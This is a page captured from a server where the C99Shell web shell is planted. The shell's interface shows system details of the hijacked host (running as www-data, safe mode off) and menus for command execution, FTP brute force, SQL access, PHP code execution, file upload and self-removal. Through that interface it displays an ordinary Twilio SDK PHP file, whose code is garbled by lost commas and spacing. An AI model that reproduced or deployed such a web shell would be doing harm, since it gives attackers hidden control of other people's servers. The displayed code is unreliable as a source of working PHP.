!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/twilio/sdk/src/Twilio/Rest/FrontlineApi/V1/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserOptions.php (3.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This code was generated by
 * \ / _    _  _|   _  _
 * | (_)\/(_)(_|\/| |(/_  v1.0.0
 * /       /
 */

namespace Twilio\Rest\FrontlineApi\V1;

use 
Twilio\Options;
use 
Twilio\Values;

/**
 * PLEASE NOTE that this class contains beta products that are subject to change. Use them with caution.
 */
abstract class UserOptions {
    
/**
     * @param string $friendlyName The string that you assigned to describe the User
     * @param string $avatar The avatar URL which will be shown in Frontline
     *                       application
     * @param string $state Current state of this user
     * @param bool $isAvailable Whether the User is available for new conversations
     * @return UpdateUserOptions Options builder
     */
    
public static function update(string $friendlyName Values::NONEstring $avatar Values::NONEstring $state Values::NONEbool $isAvailable Values::NONE): UpdateUserOptions {
        return new 
UpdateUserOptions($friendlyName$avatar$state$isAvailable);
    }
}

class 
UpdateUserOptions extends Options {
    
/**
     * @param string $friendlyName The string that you assigned to describe the User
     * @param string $avatar The avatar URL which will be shown in Frontline
     *                       application
     * @param string $state Current state of this user
     * @param bool $isAvailable Whether the User is available for new conversations
     */
    
public function __construct(string $friendlyName Values::NONEstring $avatar Values::NONEstring $state Values::NONEbool $isAvailable Values::NONE) {
        
$this->options['friendlyName'] = $friendlyName;
        
$this->options['avatar'] = $avatar;
        
$this->options['state'] = $state;
        
$this->options['isAvailable'] = $isAvailable;
    }

    
/**
     * The string that you assigned to describe the User.
     *
     * @param string $friendlyName The string that you assigned to describe the User
     * @return $this Fluent Builder
     */
    
public function setFriendlyName(string $friendlyName): self {
        
$this->options['friendlyName'] = $friendlyName;
        return 
$this;
    }

    
/**
     * The avatar URL which will be shown in Frontline application.
     *
     * @param string $avatar The avatar URL which will be shown in Frontline
     *                       application
     * @return $this Fluent Builder
     */
    
public function setAvatar(string $avatar): self {
        
$this->options['avatar'] = $avatar;
        return 
$this;
    }

    
/**
     * Current state of this user. Can be either `active` or `deactivated`.
     *
     * @param string $state Current state of this user
     * @return $this Fluent Builder
     */
    
public function setState(string $state): self {
        
$this->options['state'] = $state;
        return 
$this;
    }

    
/**
     * Whether the User is available for new conversations. Set to `false` to prevent User from receiving new inbound conversations if you are using [Pool Routing](https://www.twilio.com/docs/frontline/handle-incoming-conversations#3-pool-routing).
     *
     * @param bool $isAvailable Whether the User is available for new conversations
     * @return $this Fluent Builder
     */
    
public function setIsAvailable(bool $isAvailable): self {
        
$this->options['isAvailable'] = $isAvailable;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.FrontlineApi.V1.UpdateUserOptions ' $options ']';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--